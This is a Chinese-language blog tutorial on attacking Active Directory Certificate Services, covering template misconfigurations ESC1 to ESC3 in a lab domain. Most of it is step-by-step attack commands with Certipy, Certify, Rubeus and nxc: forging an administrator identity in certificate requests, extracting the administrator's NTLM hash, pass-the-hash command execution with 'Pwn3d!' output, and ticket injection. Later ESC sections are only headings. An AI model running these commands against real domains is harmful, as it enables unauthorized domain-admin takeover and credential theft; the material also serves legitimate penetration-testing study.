域渗透学习(Certificate Services篇)

AD CS(Active Directory Certificate Services)它是 Microsoft Windows Server 里的一个角色,用来在企业内部搭建 PKI 公钥基础设施,也就是发放、管理和吊销数字证书,是企业身份与加密信任体系的一部分。但如果配置不当,会带来严重的安全风险。

信息枚举

windows 主要用 Certify.exe
linux 用 Certipy,kali上叫 certipy-ad

域内机器枚举

1
2
3
4
5
6
7
8
# Windows 自带命令
certutil -config - -ping
certutil -CA

# 第三方工具
Certify.exe cas
Certify.exe find /vulnerable
Certify.exe enum-templates --filter-enabled --filter-vulnerable --hide-admins # 新版 Certify 语法

域外枚举,需要一个域账号密码

1
2
3
4
5
certipy-ad find -u qq@xxx.com -p Qwer123 -dc-ip 192.168.100.126 -dc-only -stdout
certipy-ad find -u qq@xxx.com -p Qwer123 -dc-ip 192.168.100.126 -dc-only -ldap-scheme ldap -stdout # LDAPS ssl问题

# 只显示 Certipy 判断为“存在可利用风险 / 漏洞配置”的 AD CS 项目。
certipy-ad find -u qq@xxx.com -p Qwer123 -dc-ip 192.168.100.126 -vulnerable -stdout

刚安装完成的AD CS

证书模板配置不当

ESC1 to ESC3, ESC9, ESC10, ESC13, ESC14 and ESC15

ESC1-模板SAN可控

当证书模板允许指定 SAN(Subject Alternative Name,主体备用名称)时,就有可能为另一个用户申请证书。如果该证书的 EKU(扩展密钥用法) 指定了 客户端身份验证(Client Authentication)或 任意用途(ANY),则可能被用于权限提升

简单来说就是低权限用户可以申请一个能用于身份认证的证书,并且能在证书请求中指定目标身份,比如高权限用户的 UPN/SAN


环境搭建:

certtmpl.msc 打开证书模板控制台,复制一个模板

选择在请求中提供。意思是申请证书的人可以在提交证书请求时,自己指定证书里的 Subject 或 SAN(Subject Alternative Name,主体备用名称),例如 UPN、DNS 名称等

低权限用户具有 注册 权限

应用程序策略就是上面提到的一个 EKU(Extended Key Usage,增强型密钥用法)。图中内容表示该证书模板签发出来的证书可用于客户端身份认证

certsrv.msc 打开证书颁发机构,在证书模板右键点击新建要颁发的证书模板,选择新复制的模板

满足利用条件后 certipy-ad 就能直接识别到 ESC1 了

使用 certipy-ad

1
2
3
4
5
6
7
# 1.申请证书(用普通用户 qq@xxx.com 去申请一个证书,但证书身份里写成了 administrator@xxx.com)
certipy-ad req -u qq@xxx.com -p Qwer123 -target 192.168.100.126 -ca xxx-AA-CA -template 1 -upn administrator@xxx.com

# 2.使用刚才生成的 administrator.pfx 证书进行认证,并请求TGT,获取 NTLM Hash
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.100.126
# 或者直接启动一个 LDAP 交互式 Shell
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.100.126 -ldap-shell

拿到 hash 后就可以进行 pth 等操作了

1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# nxc wmi 192.168.100.126 -u administrator --hash '91ff0fb948167eb4d080b5330686c02f' -x 'whoami'
RPC 192.168.100.126 135 AA [*] Windows 10 / Server 2016 Build 14393 (name:AA) (domain:xxx.com)
WMI 192.168.100.126 135 AA [+] xxx.com\administrator:91ff0fb948167eb4d080b5330686c02f (Pwn3d!)
WMI 192.168.100.126 135 AA [+] Executed command: "whoami" via wmiexec
WMI 192.168.100.126 135 AA xxx\administrator

使用 Certify.exe

1
2
3
4
5
6
7
8
# 1.在普通域用户下,使用 Certify.exe 以 administrator 身份发起证书申请
Certify.exe request /ca:aa.xxx.com\xxx-AA-CA /template:1 /altname:administrator

# 2.将申请的证书复制保存为 .pem,使用 openssl 转为 .pfx,密码为空即可。特别要注意如果使用的OpenSSL版本比较新需要加上 -legacy
openssl pkcs12 -legacy -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# 3.使用 Rubeus 请求域管 administrator 的 TGT 并注入
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt

新版本 Certify 语法

1
2
3
4
5
6
7
8
9
10
11
12
# 1.证书申请
# SAN 可以采用两种格式之一:UserPrincipalName(使用 --upn 参数)或 DnsName(使用 --dns 参数)
# 对于启用了 强证书映射(Strong Certificate Mapping)的环境,还必须使用 --sid 参数提供目标用户的安全标识符(SID)
Certify.exe request --ca aa.xxx.com\xxx-AA-CA --template 1 --upn Administrator --sid S-1-5-21-854887597-2698481123-3746598263-513


# 2.使用 Rubeus 请求域管 administrator 的 TGT 并注入
Rubeus.exe asktgt /user:Administrator /certificate:MIACAQMwgAYJKoZIhv... /ptt


# 3.由于在请求 TGT 时向 Rubeus 提供了 /ptt 参数,该票据已经被注入到 Kerberos 票据列表中。因此可以访问该目标用户有权限访问的系统
Invoke-Command -ComputerName aa -ScriptBlock {whoami}

如果 Rubeus 报错 KDC_ERR_PADATA_TYPE_NOSUPP 可以尝试 certlm.msc 打开本地计算机证书管理器,将域控制器身份验证证书导入

或者 gpedit.msc 打开组策略,修改图中部分。改完记得刷新 gpupdate /force

ESC2-任意用途 EKU 滥用

当证书模板指定了 任意用途扩展证书对象(Any Purpose EKU)或者未指定任何证书对象时,该证书可用于任何用途

ESC2 与 ESC1 的区别

  • ESC1 的重点是:我能把证书身份字段写成别人
  • ESC2 的重点是:模板签发的证书用途过于宽泛,能被拿去做很多不该做的事,用于不该允许的场景
  • ESC2 不一定依赖 Supply in the request。它的危险点主要来自 EKU 过宽

应用程序策略 / EKU 为空即可,也就是没有指定 EKU

如果 ESC2 模板同时允许请求者指定 SAN,则可结合 ESC1 思路,通过伪造 SAN 直接冒用其他用户身份;如果无法指定 SAN,则通常不能直接冒用身份,但由于其 EKU 过宽,可能被当作证书申请代理使用,进而像 ESC3 一样代表其他用户申请证书。

1
2
3
4
5
6
7
8
9
10
# 1.申请证书
certipy-ad req -u qq@xxx.com -p Qwer123 -ca xxx-AA-CA -target 192.168.100.126 -template 2


# 2.使用 qq 用户证书代理申请 Administrator 证书,注意 -on-behalf-of 参数值必须是 DOMAIN\USER 的形式
certipy-ad req -u qq@xxx.com -p Qwer123 -ca xxx-AA-CA -target 192.168.100.126 -template User -on-behalf-of 'xxx\Administrator' -pfx qq.pfx -debug


# 3.用 administrator.pfx 证书进行认证
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.100.126

ESC3-证书申请代理模板滥用

当证书模板允许低权限用户申请包含 Certificate Request Agent (1.3.6.1.4.1.311.20.2.1) EKU 的证书时,虽然不能直接申请管理员证书,但是该用户可以先申请一个 证书代理人 证书,再代表管理员申请证书


在 ESC2 的模板基础上修改应用程序策略 EKU 为 证书申请代理

1
2
3
4
5
6
7
8
9
10
# 1.申请证书
certipy-ad req -u qq@xxx.com -p Qwer123 -ca xxx-AA-CA -target 192.168.100.126 -template 3


# 2.使用 qq 用户证书代理申请 Administrator 证书,注意 -on-behalf-of 参数值必须是 DOMAIN\USER 的形式
certipy-ad req -u qq@xxx.com -p Qwer123 -ca xxx-AA-CA -target 192.168.100.126 -template User -on-behalf-of 'xxx\Administrator' -pfx qq.pfx -debug


# 3.用 administrator.pfx 证书进行认证
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.100.126

证书颁发机构

ESC6 and ESC12

访问控制

ESC4, ESC5 & ESC7

未签名端点

ESC8, ESC11

认证


参考文章

ADCS攻击之证书模板配置错误 ESC1
ADCS-ESC1漏洞环境构造与利用
4 ‐ Escalation Techniques
ADCS ESC 1-3 攻击链路


域渗透学习(Certificate Services篇)
https://www.dr0n.top/posts/de6e3c90/
作者
dr0n
发布于
2026年5月23日
更新于
2026年6月1日
许可协议